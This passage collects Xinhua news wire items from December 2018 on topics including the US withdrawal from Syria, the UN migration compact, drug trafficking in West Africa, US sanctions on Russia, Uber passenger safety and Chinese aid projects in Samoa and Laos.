day, U.S. media cited anonymous officials as saying that the United States is planning a "rapid" and "full" withdrawal of troops from Syria. Currently, there are more than 2,000 U.S. soldiers deployed in Syria. Trump has long voiced his desire to bring the U.S. troops back home when possible, while senior administration officials including Defense Secretary James Mattis have advocated for a longer-term military deployment in Syria to secure a victory against the IS. Meanwhile, the Trump administration's claim about victory against the IS has been questioned. "I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive," tweeted British Defense Minister Tobias Ellwood, following Trump's claim on the social media. Senior Republican Senator Lindsey Graham warned "devastating consequences" for U.S. troops quitting Syria. "An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia," the lawmaker from the state of South Carolina said in a statement on Wednesday. The senator also noted that the withdrawal will "put the Kurds and all those who came to America's aid in destroying ISIS at tremendous risk." The U.S. has been backing the Kurdish-led Syrian Democratic Forces (SDF) for a long time in the battles against the IS, managing to make important achievement in defeating IS in its de facto capital of Raqqa in northern Syria in 2017. However, Turkey has for long been outright about its enmity to the Kurdish forces. Source: Xinhua| 2018-12-20 06:10:15|Editor: yan Video Player Close UNITED NATIONS, Dec. 19 (Xinhua) -- United Nations Secretary-General Antonio Guterres on Wednesday said that the Global Compact for Safe, Orderly and Regular Migration, which has been officially ratified by the UN General Assembly, provides a platform for international cooperation. "At a time when international cooperation is more important than ever, this new global compact provides a platform for precisely that," said the UN chief shortly after the compact was affirmed. Expressing his welcome to the ratification, the secretary-general said that the compact is a non-legally binding agreement that "reaffirms the foundational principles of our global community, including national sovereignty and universal human rights, while pointing the way toward humane and sensible action to benefit countries of origin, transit and destination as well as migrants themselves." "It calls for greater solidarity with migrants in situations of appalling vulnerability and abuse," the UN chief said, adding that "it underscores the need to anticipate future trends, from labor markets to the impacts of climate change." The UN chief said he was also happy to find that the compact "highlights the imperative of devising more legal pathways for migration, which would also help to crack down on trafficking and exploitation." The secretary-general underscored the importance of leadership, noting that it "will be crucial in bringing the compact to life, and in avoiding the myths and disparaging discourse that have become all too frequent." "The newly established United Nations Migration Network stands ready to support member states and all our partners as we strive together, in a spirit of respect and common purpose, to make migration work for all," he said. A total of 152 countries voted in favor of the compact, which was approved last week by UN member states in Marrakesh, Morocco. Source: Xinhua| 2018-12-20 06:30:18|Editor: yan Video Player Close UNITED NATIONS, Dec. 19 (Xinhua) -- Chief of the UN Office on Drugs and Crime (UNODC) said Wednesday that his agency is registering new, alarming trends in drug trafficking in West and Central Africa. The scourge has disruptive and destabilizing effects on governance, security, economic growth and public health in the region, UNODC Executive Director Yuri Fedotov told the Security Council. Criminal networks are no longer limiting activities to transiting cocaine and heroin through Africa for destination markets in Europe and elsewhere, he noted. UNODC's 2018 World Drug Report shows that West and Central Africa, along with North African countries, accounted for 87 percent of pharmaceutical opioids seized globally. This is largely due to rising use of tramadol, an opioid painkiller that is widely trafficked for non-medical use in the region, he said via a video link from Vienna. Africa, along with Asia, also saw the largest rises in cocaine seizures, suggesting that cocaine trafficking and consumption have spread to these markets, he said. Heroin seizures at African airports are also on the rise, with Lagos, Accra and Cotonou airports high on the list, closely followed by Bamako, Lome and Ouagadougou, he said. Methamphetamine seizures have now almost reached the same level as cocaine seizures, with Lagos and Cotonou the main airports concerned. Recently, an increased number of seizures of precursors such as Ephedrine and Phenacetine has been recorded at both airports, which may indicate the existence of new laboratories producing psychoactive substances, said Fedotov. At the same time, drug use in West and Central Africa is rising, representing a serious threat to public health. With the caveat that there is a lack of reliable and recent data on the extent of drug use in the area, UNODC estimates that in 2016, there were more than 34 million cannabis users in West and Central Africa, as well as 1.8 million cocaine users, he said. Globally, only one in six people suffering from drug use disorders receives treatment. However, in Africa this figure is much lower, with only one in 18 problem drug users having access to treatment. At the same time, the region is grappling with many other crime-related security threats, including arms trafficking, money laundering, human trafficking, cybercrime and maritime piracy, as well as threats posed by terrorism, said Fedotov, adding that the linkages between terrorism, illicit drugs and other forms of crime have been widely acknowledged. While strengthened technical assistance has resulted in some positive developments, there remain formidable challenges for countries in West and Central Africa in building stability and achieving the Sustainable Development Goals. Post-conflict states and states in transition require greater attention to addressing drug and organized crime challenges alongside political reforms, he said. UNODC remains fully engaged in supporting West and Central Africa, working closely with regional and international partners, he said. Source: Xinhua| 2018-12-20 06:50:25|Editor: Chengcheng Video Player Close WASHINGTON, Dec. 19 (Xinhua) -- The United States on Wednesday imposed sanctions on 18 Russian individuals and four entities, according to a statement issued by the U.S. Department of Treasury. The sanctions were in response to "Russia's continued disregard for international norms," said the statement. According to the statement, 15 of 18 individuals are members of Russia's Main Intelligence Directorate (GRU), whom the United States accused of involving in "attempting to interfere in the 2016 U.S. election, efforts to undermine international organizations through cyber-enabled means, and an assassination attempt in the United Kingdom." The United States also imposed sanctions on four entities and several individuals related to Russian effort to interfere with political and electoral systems worldwide, said the statement. All property and interests in property of these persons subject to or transiting U.S. jurisdiction are blocked, and Americans are generally prohibited from engaging in transactions with them, according to the statement. The Trump administration to date has sanctioned 272 Russia-related individuals and entities, said the Treasury Department. The Russian government has long regarded the sanctions imposed by the United States illegal, vowing to respond accordingly. The frequent sanctions, the growing U.S. military presence in Eastern Europe along with U.S. decision of abandoning the Intermediate-range Nuclear Forces (INF) Treaty have intensified ongoing tension in U.S.-Russia relations. Source: Xinhua| 2018-12-20 06:55:27|Editor: ZD Video Player Close UNITED NATIONS, Dec. 19 (Xinhua) -- A Chinese envoy to the United Nations on Wednesday urged the international community to help West and Central African countries with capacity building so that they are better equipped to take the helm in tackling trans-national organized crime. At a Security Council meeting on peace and security in Africa, Wu Haitao, China's deputy permanent representative to the UN, said the criminal activities that transit through countries in West and Central African seriously undermine these countries' development and social stability and fuel crime, violence and terrorism. "The international community should, while fully respecting their ownership, help them formulate anti-drug trafficking strategies, develop greater enforcement capacity, and effectively tackle the scourge and other forms of trans-national organized crime," he said. Particularly, with regard to anti-drug trafficking, international cooperation should be scaled up on the basis of broad participation and shared responsibility, with a focus on clamping down on drug consumption market to curb drug production and trafficking at source. Moreover, Wu called for strengthening coordination and cooperation between regional or subregional organizations and UN bodies to form synergy, adding that China applauds such cooperation in areas of combating drug trafficking with greater intensity, joint border control and joint law enforcement. Furthermore, the Chinese envoy stressed the need to tackle the root causes of drug trafficking, noting that poverty and under-development provide a hotbed for drug trafficking and other forms of trans-national organized crime in West and Central Africa. "We encourage the agencies based there to work closely together and hope international partners honor their aid commitments without delay," he said, adding that the focus should be placed on helping the regional countries with capacity building and infrastructure development, "so they are in a better position to seek self-reliant development and achieve sustainable development in West and Central Africa as early as possible." Source: Xinhua| 2018-12-20 07:05:30|Editor: ZD Video Player Close HELSINKI, Dec. 19 (Xinhua) -- Finnish parents are increasingly demanding that the festive season events in schools should not include religious speeches or songs. The issue got national attention on Wednesday as Olli-Pekka Heinonen, director general of the National Board of Education, deplored a statement by a senior official of the Board who said "some parents are allergic to religion." Christian religion is taught in Finnish schools as a subject, separately for Lutherans and Greek Orthodox believers, but children of non-members can choose "studies of life values" instead. School Christmas celebrations, however, are for everyone. In its latest update of regulations, the National Board of Education defined last January that school festivities "can include elements referring to religion...These traditions are part of the Finnish culture. The singing of one hymn or psalm does not make the event religious." The ruling is based on the views of parliamentary constitutional committee expressed in 2014. An association named "People without Religion in Finland" maintains "a tattler website" helping parents to file their complaints about religious intrusion in schools. Kaisa Robinson, chairman of the association, told national broadcaster Yle that often the issue is "not one hymn", but the whole event is religiously slanted. Over the years, membership in the Lutheran Church has been declining in the country. While over 90 percent of the national population were its members in the late 1980s, the figure dropped to 70 percent in December this year, the Church Research Center said this week. The church was disconnected from the state in 1994, but the Finnish taxation service continues collecting church taxes as part of the general taxation process. The old tie between the state and the church is also reflected in the Declaration of Christmas Peace which is broadcast nationally from the Old Turku Town Hall on Christmas Eve. The text dates back to the reign of Queen Christina of Sweden in the early 17th century, but it is accompanied by a Finnish military band playing the Finnish national anthem, a wellknown military march and the hymn "A mighty fortress is our God" from the 16th century. Christian themes have largely disappeared from commercially printed Christmas cards. Sanna Lukkari, a product manager at a leading book store chain, told national broadcaster Yle this week that "Christmas in the forest" is increasingly featured on Christmas cards. The cards picture foxes, bears, elks and rabbits celebrating Christmas around a tree, eating and giving gifts. Even Santa Claus has been giving way to elves as they are easier to adapt into the forest scenes. Nonetheless, classical and often religious Christmas music is filling concert halls and churches all through December. The U.S. flag flutters on a military vehicle in Manbej countryside,Syria May 12, 2018. (Xinhua/REUTERS) WASHINGTON, Dec. 19 (Xinhua) -- The Trump administration announced on Wednesday that it has started returning U.S. troops home from Syria after claiming a victory in the fight against the Islamic State (IS) without revealing any detailed timetable. "We have started returning United States troops home as we transition to the next phase of this campaign," said White House Spokesperson Sarah Sanders in a statement, claiming that America has "defeated the territorial caliphate." Pentagon later echoed the White House claim, saying that the U.S. military has already begun the process of bringing the U.S. forces back while emphasizing the continuity of the campaign. "The Coalition has liberated ISIS (the IS)-held territory, but the campaign against ISIS is not over," the Pentagon spokeswoman Dana White said in a tweet. All U.S. State Department personnel are being evacuated from Syria within 24 hours, reported Reuters after the White House announcement, citing an anonymous administration official. The official also revealed that the time-frame for the troops withdrawal from the war-torn Arab country is expected to be between 60 and 100 days, according to the report. However, a senior Trump administration official, during a background briefing held on Wednesday afternoon, did not directly answer reporters' questions on how the administration intends to withdraw the troops or whether there will a deadline for that. Sanders' statement came about one hour after U.S. President Donald Trump hinted in a tweet about imminent U.S. troop withdrawal from Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday morning. Earlier on the day, U.S. media cited anonymous officials as saying that the United States is planning a "rapid" and "full" withdrawal of troops from Syria. Currently, there are more than 2,000 U.S. soldiers deployed in Syria. Trump has long voiced his desire to bring the U.S. troops back home when possible, while senior administration officials including Defense Secretary James Mattis have advocated for a longer-term military deployment in Syria to secure a victory against the IS. Meanwhile, the Trump administration's claim about victory against the IS has been questioned. "I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive," tweeted British Defense Minister Tobias Ellwood, following Trump's claim on the social media. Senior Republican Senator Lindsey Graham warned "devastating consequences" for U.S. troops quitting Syria. "An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia," the lawmaker from the state of South Carolina said in a statement on Wednesday. The senator also noted that the withdrawal will "put the Kurds and all those who came to America's aid in destroying ISIS at tremendous risk." The U.S. has been backing the Kurdish-led Syrian Democratic Forces (SDF) for a long time in the battles against the IS, managing to make important achievement in defeating IS in its de facto capital of Raqqa in northern Syria in 2017. However, Turkey has for long been outright about its enmity to the Kurdish forces. Source: Xinhua| 2018-12-20 09:05:54|Editor: Chengcheng Video Player Close by Xinhua writers Wang Hongjiang, Wang Xuemei MONTEREY, the United States, Dec. 19 (Xinhua) -- A 26-year-old New Yorker's Uber ride from a bar to a subway stop turned into a nightmare when she was assaulted by a drunken random stranger and then blocked by Uber from using its application. The drunk man, who thought he was a legitimate rider in her Uber pool rideshare, got angry after being refused entry into the car as the driver confirmed he was not in the pool. "He spit in my face, yelled at me and then smashed the rear windshield of the car right behind where I was sitting," said the woman, a law school student at New York University, in a recent interview with Xinhua on condition of anonymity. "I couldn't stop crying and I was traumatized by the assault," she recalled of the incident that happened in January 2017. "I ended up taking a cab." This case may be not typical, but riders do face safety risks when taking rideshare cars. In many cases, drivers are the offenders. Alleged offenses have ranged from sexual assaults to gun violence. A CNN investigation revealed that at least 103 Uber drivers in the United States have been accused of sexually assaulting or abusing passengers in the past four years. However, the actual number of alleged sexual harassments and assaults committed by Uber drivers is believed to be higher, as some victims either prefer to stay silent or resolve their complaints in private. REVOLVING DOOR EFFECT Uber sees a lot of turnover among its drivers. "It was built...like a constant revolving door," said Saba Waheed, research director at the University of California, Los Angeles (UCLA) Labor Center, who is an expert on the sharing economy. On average, Uber performs 15 million rides each day worldwide. In March of this year, the company drove approximately 41.8 million users in the U.S. alone, according to Statista, an online statistics portal. However, after eight years of rapid growth, Uber has come under heavy criticism by the public because of its feeble efforts to keep passengers and drivers safe. "I think the fact that the company is constantly involving new people will always make safety a problem," said Waheed. "Uber has not done an adequate job of really addressing the issue of safety," she said, referring to the lack of regulations and necessary safety measures. Ride-hailing apps allow people to get into strangers' cars, but the creators did not think about passenger and driver safety until mishaps occurred, according to Waheed. The safety measures are essential in preventing risks, but the way the company responds when problems arise is also important. In the case of the New York student, the Uber driver did not stand up for her during the assault. He then refused to help her file a report with the police, and drove away. Making matters even worse, Uber responded by blocking her account. The company ignored her for weeks until she threatened to file a complaint with the Better Business Bureau, a nonprofit organization focusing on resolving disputes between consumers and businesses. "They apologized for what had happened and said they would reinstate my account. This was a lie and I called them for days trying to get my account back, but they didn't," said the woman. In fact, it was not until she started posting about her complaints on then Uber CEO Travis Kalanick's Facebook page that Uber reinstated her account. Unlike the development of the taxi industry, the ride-hailing companies came in an unregulated way at the beginning, according to Waheed. "Taxi drivers have all kinds of rules, including the way they should be performing," she said. Previous rules did not block the "bad apples" from joining the pool of Uber drivers and ruining the image of the whole industry. PRACTICE AND PROSPECTS Uber has tried to address safety issues by adding new features to their application. These include an in-app emergency button. When a user presses the button, the company automatically sends 911 dispatchers the rider's name, location, details of the Uber vehicle and the driver's information. The company also announced in July that it began monitoring drivers for criminal offenses in real-time. According to Axios reports, Uber partnered with Checkr, its background check provider, and Appriss, which provides safety data. Through Appriss' real-time data collection, Uber will be notified if a driver is newly charged with a criminal offense. This new technology was being tested in July. Previously, the company ran background checks only before a potential driver joined the workforce, meaning that it could not always track later violations or problems. On its website, Uber says that "periodically, we re-run background checks for current driver partners." Multiple drivers and passengers also offered their suggestions for improving the ride-sharing service. "Uber should offer some sort of training for their drivers. As of now, there is no training required," said Dina Nasrallah, who became a full-time Uber driver in October. Still, Waheed asserts that safety issues should not be the responsibility of the company alone. The government should oversee Travel Management Companies (TMCs), help sexual harassment victims in filing complaints and make the data more transparent for public oversight. "The government agencies should be holding the companies responsible, making sure the customers are protected," said Waheed. "The government should play a meaningful role in regulating the industry," echoed Katie Wells, a postdoctoral research fellow at Georgetown University who conducts studies on Uber drivers. Currently, Uber's data is not publicly available to researchers, which keeps the big picture of safety issues behind the veil. Wells believes "Uber should share the data" as the first step in addressing safety issues. For extra measures, experts also advise passengers to have a personal protection strategy, like sharing photos of the car plate with a relative or a friend. DO THE RIGHT THING Uber CEO Dara Khosrowshahi has promised that Uber will do "the right thing." According to Tony West, general counsel at Uber, doing the right thing involves three key elements -- transparency, integrity and accountability. "Maintaining the public's trust and earning back the respect of customers we've lost through our past actions and behavior is about more than new products and policies. It requires self-reflection and a willingness to challenge orthodoxies of the past," West said. Uber pledged in November to release a safety transparency report in 2019. The company has outlined how it will categorize sexual misconduct, sexual assault and rape claims involving its drivers and passengers. Uber deemed the move to be a first step toward publishing its report. Despite the negative safety incidents in the past years, many Uber drivers argued that offenders do not reflect the whole picture. Waheed said she had not seen any kind of drop in ridership even though these incidents came out. "I am still using Uber," said the New York student, in spite of the frightening assault experience. "Uber is a great resource, especially in cities, and I hope that Uber can resolve these issues so that the company can continue to evolve," said Leah Schluter, a frequent Uber user. While many people are willing to use Uber for the convenience it provides, there is no doubt that it is time for Uber to live up to customer expectations, since they have the final say on Uber's boom or bust. Liu Zhiwen, leader of China-Samoa Agricultural Technical Aid Project (Left) and John Maposua, a pilot demonstration farmer from the Aleasa village in Apia, discuss watermelon planting techniques in the farmer's tunnel house. (Xinhua/Zhang Yongxing) By Zhang Yongxing SUVA, Dec. 19 (Xinhua) -- Farmers from the South Pacific island nation of Samoa have benefited from the China-proposed Belt and Road Initiative (BRI), which was raised by China in 2013 and has been praised by both government leaders and farmers of the island nation. In a recent exclusive interview with Xinhua, Samoa's Parliament Speaker Leaupepe Taimaaiono Toleafoa Faafisi spoke highly of the Belt and Road Initiative and thanked China for its support to the island nation's economic growth. "The Belt and Road Initiative is very good and we thank China for raising this initiative, which is to promote the global trade cooperation and especially good for the South Pacific island countries like Samoa," the parliament speaker said. "Samoa wants to expand cooperation with China under the framework of the Belt and Road Initiative, and we need China's support to grow our economy," he said. As for China-Samoa Agricultural Technical Aid Project (CSATAP), which is a bilateral cooperation project between the two governments since 2010, Faafisi said: "Besides tourism, agriculture is the backbone of our country. As a country leader, a farmer and also a businessman, I am very grateful to China's support to us such as the agriculture cooperation project led by Mr. Liu Zhiwen." "They have helped promote our agriculture and Samoan people have really benefited from this project. The Chinese team is doing the right thing. If we want to be healthy and wealthy, we must follow up as they are helping us in a good way of developing our land," According to Liu Zhiwen, leader of the Chinese experts team, the Belt and Road Initiative has really helped the Samoan farmers and the agriculture cooperation project is "a great success". "We are very happy to serve Samoan farmers with our expertise as well as engaging in technical exchanges and training with our local counterparts. Phase four of the China-Samoa Agricultural Technical Aid Project has been in smooth progress. Many officials, experts, investors, farmers and students from Samoa have visited the project, and mass media has also reported the project positively," Liu told Xinhua in the Chinese demonstration farm in Apia, capital of Samoa. The Chinese government has provided a total budget of six million U.S. dollars for the four phases of the project, and the phase four project was launched in June 2017 with nine Chinese agricultural experts being assigned to work in the island nation for three years. The phase four project aims to increase vegetable production, partly substitute vegetable import, stabilize the food security and increase local farmers'income in Samoa by enlarging vegetable cultivation, introducing marketable vegetable varieties, and extending adoptable agricultural technologies, agro-machineries and facilities, Liu said. Besides upgrading the capacity of the Chinese demonstration farm in Apia, Liu's team also aims to establish 100 model farms on both Upolu and Savaii,the two main islands of Samoa by constructing 110 tunnel houses and shadow houses and providing agro-machineries. Tilafono David Hunt, chief executive officer of Samoa's Ministry of Agriculture and Fisheries, voiced his satisfaction over the agriculture cooperation project, saying: "This is a very important project not only for our ministry, but also for our nation's agriculture sector." "The Chinese experts team is well impressed and they have new ideas in spreading new production technologies such as the tunnel house and the shadow house. They are helping us produce more vegetables and helping our farmers to make extra money. I believe the Chinese team will make contribution to our agriculture's development by providing us needed knowledges, technologies and equipments. We hope that we can export our vegetables to other Pacific island countries in the future," Hunt told Xinhua. Tilafono David Hunt, chief executive officer of Samoa's Ministry of Agriculture and Fisheries(First from right) inspects the Chinese Demonstration Farm in Apia, capital of Samoa. (Xinhua/Zhang Yongxing) For John Maposua, a pilot demonstration farmer from the Aleasa village in Apia, he has installed two tunnel houses and drip irrigation system in his farm. Maposua told Xinhua that the project is really good as more and more demonstration farmers like him are benefiting from the project which has trained more than 7,000 Samoan farmers. "China is our real friend and I want to thank China for its Belt and Road Initiative because my income from the two tunnel houses has reached 11,000 Samoan tala (about 4,300 U.S. dollars) during the first six months," he said with a smile on his face. Commenting on the Chinese assistance to the Pacific island nations including Samoa, Samoan media said recently that there is no doubt the Chinese have done their homework on the needs of Pacific island families. As the Chinese Ambassador to Samoa, Wang Xuefeng told Xinhua that China has a famous proverb as saying "Give a man a fish and you feed him for a day; teach a man to fish and you feed him for a lifetime." Wang hailed the agriculture cooperation project as really "a down-to-earth project", which has a great potential and will no doubt benefit Samoans. Source: Xinhua| 2018-12-20 10:16:05|Editor: mmm Video Player Close YANGON, Dec. 20 (Xinhua) -- The state-owned Myanmar National Airlines (MNA) will launch direct scheduled flight from Myanmar's Yangon to Chengdu, the capital of Sichuan province of China, beginning on Dec. 28, according to the airline on Thursday. Chengdu will be the sixth international destination for the Myanmar airline to fly. Using Boeing 737NG aircraft, the Yangon-Chengdu flight will be scheduled for thrice a week every Monday, Wednesday and Friday. Meanwhile, China's Sichuan Airlines on Tuesday launched a new direct air route between China's Hangzhou and Yangon following Yangon-Xi'an flight in November and Mandalay-Kunming flight in February. The move is aimed at attracting more visitors from China and boosting tourism between cities of the two countries. The Myanmar government recently announced granting visa exemption to Japanese and South Korean visitors as well as visa-on-arrival to Chinese travelers starting from Oct. 1 and visa-on-arrival to Indian visitors starting from Dec. 1 this year. At present, Myanmar authorities are now increasing efforts for further expansion of travel routes as well as for promoting the country's tourist industry by inviting more global airlines to land at the Yangon International Airport. Source: Xinhua| 2018-12-20 10:26:55|Editor: mmm Video Player Close Photo taken on Dec. 18, 2018 shows a view of Hani terraced fields in Yuanyang County, southwest China's Yunnan Province. Local people of the Hani ethnic group have a history of more than 1,000 years of terracing the ridges for high-yield cropping. The United Nations Educational, Scientific and Cultural Organization listed the Hani terraced fields as a world heritage in 2013. (Xinhua/Zeng Wei) Photo taken on Jun. 21, 2018 shows scenery of the Lujiazui area in Pudong of Shanghai, east China. (Xinhua/Yin Gang) TOKYO, Dec. 19 (Xinhua) -- China has achieved remarkable economic development through reform and opening-up, with tremendous development scale and speed in the past 20 years, Satoshi Amako, a celebrated Japanese expert on China, recently told Xinhua in an exclusive interview. Amako, also an honorary professor at Waseda University, speaks highly of the reform's contribution as China marks the 40th anniversary of reform and opening-up this year. After a phase of experimentation in the first 20 years, China entered steady economic development with impressive scale and speed, which is the most notable characteristic of reform and opening-up in the past two decades, Amako told Xinhua. According to the Japanese expert, apart from liberation of productive forces, two major factors contributed to China's rapid economic development. On one hand, China's accession to the World Trade Organization helped the country actively integrate into the free trade system. On the other, cheap labor, such as migrant workers, has attracted foreign investment, boosting the Chinese economy, especially in coastal areas, Amako explained. China's economic development has not only benefited itself, but also contributed to the world, he said. As products made in China are welcomed by people all over the world, trade has promoted a free flow and globalization of goods, materials and human resources around the world, Amako said. The Japanese expert also talked about the high level of popularization of the Internet and its great influence on the Chinese society. "After 2010, it is obvious that the Internet is highly popular in China with electronic payment, taxi applications and so on. Things are changing each passing day," he said. Aerial photo taken by a drone on Apr. 21, 2018 shows Taoyuanxincun Community in Yaozhuang Town, Jiashan County, east China's Zhejiang Province. (Xinhua/Xu Yu) Amako pointed out that the Belt and Road Initiative offers a great opportunity for cooperation between China and Japan in terms of aid to developing countries. Japan has accumulated experience in this area, he said, thus, under the initiative, China can draw on Japan's experience to maximize the benefit of Chinese fund to recipient countries. Source: Xinhua| 2018-12-20 10:51:10|Editor: Yurou Video Player Close YANGON, Dec. 20 (Xinhua) -- Myanmar authorities have seized an illegal consignment of raw jade stones weighing 3.781 tons in the northernmost state of Mohnyin and Kachin, the official Global New Light of Myanmar reported Thursday. The seizure was made by local police on Tuesday when they stopped and searched a six-wheeled truck near Hopin toll gate, finding 650 pieces of illegally smuggled jade stones. The driver and two other persons on board were arrested and charged by the police under the country's Gemstone Law. Earlier, the authorities had also confiscated 12 tons of raw jade stones illegally transported to the city of Myitkyina from Namti, on Dec. 14 when they intercepted and searched a 12-wheeled truck at a checkpoint. The illegal raw jade stones were found packed in 300 bags and hidden in a secret space between the car body and the frame. Source: Xinhua| 2018-12-20 10:56:10|Editor: Yurou Video Player Close CANBERRA, Dec. 20 (Xinhua) -- The deaths of bottlenose dolphins in South Australia (SA) have been linked to climate change, according to a latest study. Researchers from Flinders University on Thursday revealed that a highly-contagious measles-related virus, cetacean morbillivirus, was responsible for the deaths of more than 50 dolphins in SA in 2013. According to the study, the outbreak coincided with high sea-surface temperatures, which were a result of global warming. "Extreme weather events are becoming more frequent with climate change, placing greater stress on individuals, populations and species that may not be able to adapt or cope with environmental changes," lead author Luciana Moller told News Corp Australia on Thursday. "We wanted to find out if susceptibility to the virus was related to variation in the dolphins' DNA." Moller and Kimberley Batley, a PhD candidate, found that genes linked to stress, pain and immune responses made dolphins more likely to contract cetacean morbillivirus. "What really surprised us was that, as well as immune genes, we found variation between survivors and non-survivors within genes that activate stress-related proteins," Batley said. "Variation within these genes may have played an important role in responses to environmental stress. "Using this information, we can now screen other dolphin and whale populations around the world, to identify populations at greater risk of succumbing to this deadly disease." The Australian Marine Conservation Society revealed earlier in December that 110 dolphins have suffered slow deaths after being caught in fishing nets in SA and Victoria state since the start of 2017. SA's dolphins have become a major tourist drawcard for the state and feature prominently in its tourism campaigns. The state government in November announced a plan to introduce strict speed limits for boats in the Adelaide Dolphin Sanctuary so as to protect the mammals. Source: Xinhua| 2018-12-20 11:36:15|Editor: mym Video Player Close VIENTIANE, Dec. 20 (Xinhua) -- The Southeast Asia Tower Company, invested by the Chinese state-owned China Tower, together with the Lao government and local firm Click Lao Marketing and Consultancy, has been officially launched in Laos and put into operation. According to an agreement inked in August, the shareholding ratio of the three parties is 70 percent, 15 percent, and 15 percent respectively. The chairman and general manager of Southeast Asia Tower would be appointed by China Tower, the controlling shareholder, which will also lead the operation and management of the joint venture. The launching ceremony of the Southeast Asia Tower company was held on Tuesday night in the Lao capital Vientiane. Tong Jilu, the chairman of China Tower, said at the ceremony that the company is to bring the development pattern of sharing resources and facilities to Laos, to promote the pattern of jointly building and operation in Laos, to accelerate the communication infrastructure building and achieve resources-saving, land-saving and environmental harmony at the same time for sharing the development bonus with the country. Liu Bo, the Southeast Asia Tower Company general manager, told Xinhua on Thursday that General Secretary of the Lao People's Revolutionary Party Central Committee and Lao President Bounnhang Vorachit said during the meeting with the visiting delegation led by Tong Jilu that communication is a very important sector. Bounnhang congratulated the setup of the Southeast Asia Tower, and affirmed that the country would strongly support the company's development in Laos. The Southeast Asia Tower Company will mainly be engaged in the construction, maintenance and operation of communication towers, base stations, power supplies and other supporting facilities, as well as that of indoor distribution systems and transmission systems in Laos. The joint venture will rely on the experience and capabilities of China Tower in technology, operation management, and industrial chain integration to further explore the synergies between the two markets of China and Laos and improve the communication infrastructure construction and operation level in Laos. China Tower, established on July 15, 2014, is mainly engaged in the construction, maintenance, and operation of a base station supporting facilities such as communication towers and large indoor distribution systems. As of the end of June 2018, the China Tower runs about 1.9 million base stations, ranked as the world's largest provider of communication tower infrastructure services. Source: Xinhua| 2018-12-20 13:16:28|Editor: Chengcheng Video Player Close BERLIN, Dec. 19 (Xinhua) -- Germany has decided to change the Foreign Trade and Payments Ordinance in order to tighten rules on non-EU takeover of the country's companies in "sensitive" sectors. The latest amendment would lower the threshold where reviews apply to share purchase by non-EU investors to 10 percent of the company's voting rights from 25 percent now, in the particularly sensitive sectors, such as critical infrastructures as well as defense-relevant companies, said the German economy ministry Wednesday. "We have to be able to look closely at sensitive infrastructures, who buys them and what the consequences are. After all, companies that supply us with electricity, gas, drinking water or secure our telecommunications are vitally important to our society," German Economy Minister Peter Altmaier in a press release, explaining the reason for such changes. "This will strengthen our national security," he said. Meanwhile, the ministry said that a legislative procedure on investment reviews continues at the EU level, mainly driven by countries of Germany, France and Italy, aiming to enable member countries to intervene in individual cases against state-controlled or state-financed strategic direct investments. Source: Xinhua| 2018-12-20 13:36:33|Editor: Xiaoxia Video Player Close WASHINGTON, Dec. 19 (Xinhua) -- U.S. Secretary of State Mike Pompeo said the United States would continue to strengthen security relations with Bulgaria, according to a statement issued by the State Department on Wednesday. Pompeo had a phone conversation with Bulgarian Prime Minister Boyko Borissov on Tuesday, emphasizing that Washington would commit to working with Sofia to tailor the final scope of a potential F-16 fighter aircraft sale to fit the budgetary and operational requirements of Bulgaria, said the statement. The United States had provided over 200 million U.S. dollars in security assistance to Bulgaria over the last 25 years, and would continue to prioritize investments with Bulgaria that build NATO interoperability, Pompeo said in the statement. Bulgaria, a NATO member since 2004, has been planning to replace its aging Russian made MiG-29 fleet with new multi-role combat aircraft, according to the Military Balance 2018 issued by the International Institute for Strategic Studies, a London-based think tank. Moscow has regularly accused NATO of boosting its military presence in Eastern Europe, including increasing military contingents in the Baltic states, Poland, Romania and Bulgaria using fears for possible Russian aggression as a pretext. Source: Xinhua| 2018-12-20 13:41:33|Editor: Xiaoxia Video Player Close MADRID, Dec. 19 (Xinhua) -- The Cervantes Institute in Madrid on Wednesday wrapped up its "Year of Diego de Pantoja", a commemoration marking the very start of Spain-China cultural exchange, a leading institution director told Xinhua. "It has been a very important year because it has allowed us to remember someone (Diego de Pantoja) who has remained in the shadows," and who "means a lot to our history," Garcia Montero said. Diego de Pantoja was the first Spaniard to enter the Forbidden City of Beijing -- the Chinese capital's cultural landmark, and the first to forge cultural links between the two countries. Pantoja was considered the introducer of Christianity to China and the only Spaniard who managed to access the court of Emperor Wan Li of the Ming dynasty, in the Forbidden City, where he used to teach the emperor to play the clavichord. He was a mathematician, poet, and most importantly, a great promoter of Spanish culture in China until he died in Macao in 1618, Montero said. "He knew the language and civilization of the two countries and worked as a bridge, through his letters to allow for mutual understanding," Montero added. Throughout the year, a number of activities including symposiums, conferences, concerts and exhibitions have been organized to honor him, a Jesuit who left his footprints in China as early as 1597. Headquartered in Madrid, the Cervantes institute is a Spanish public institution whose main objectives are the promotion and teaching of the Spanish language along with its culture and that of Latin America. Chinese ambassador to Spain Lyu Fan attended the event and said that the celebration of the 400th anniversary was framed in a "good year" for the "excellent relations" of both countries. Noting that a historic high number of Chinese students have registered for Spanish learning, he stressed the importance of the institute for the promotion of Spanish in China as well as the future bilateral ties. Source: Xinhua| 2018-12-20 13:41:33|Editor: Xiaoxia Video Player Close RIO DE JANEIRO, Dec. 19 (Xinhua) -- Brazil's Chief Federal Prosecutor Raquel Dodge on Wednesday brought corruption charges against President Michel Temer to the Supreme Court. The corruption charges came on the Supreme Court's last day of work this year. The Court will enter a holiday recess for the next weeks. The indictment is the result of an investigation of the Federal Police which found evidence that Temer and 10 others participated in a scheme to favor specific companies operating in Brazil's port sector. According to the investigators, President Temer signed a decree which changed regulations related to the concession of ports to the private sector's administration, in exchange for large bribes. The decree was reportedly tailored to favor specific companies in concession processes. It is the third corruption charges against the president. The other two were temporarily shelved after the House of Representatives decided not to pursue them while Temer was in office. However, with Temer leaving the presidency on December 31, his right to being tried only by the Supreme Court ends, and he can answer in all three cases. Source: Xinhua| 2018-12-20 13:51:36|Editor: mmm Video Player Close NEW YORK, Dec. 19 (Xinhua) -- The United States and China were urged to show "intelligent diplomacy" to deepen their ties amid challenges as U.S. experts convened for a panel discussion here on Tuesday. U.S.-China differences can be resolved through negotiation, and the collaboration between the two sides is not only mutually beneficial but also conducive to world prosperity and stability, Chas Freeman, former U.S. assistant secretary of defense, told the panel organized by the New York-based National Committee on U.S.-China Relations (NCUSCR). "Experience shows that, with intelligent diplomacy, such disputes with China can be resolved by 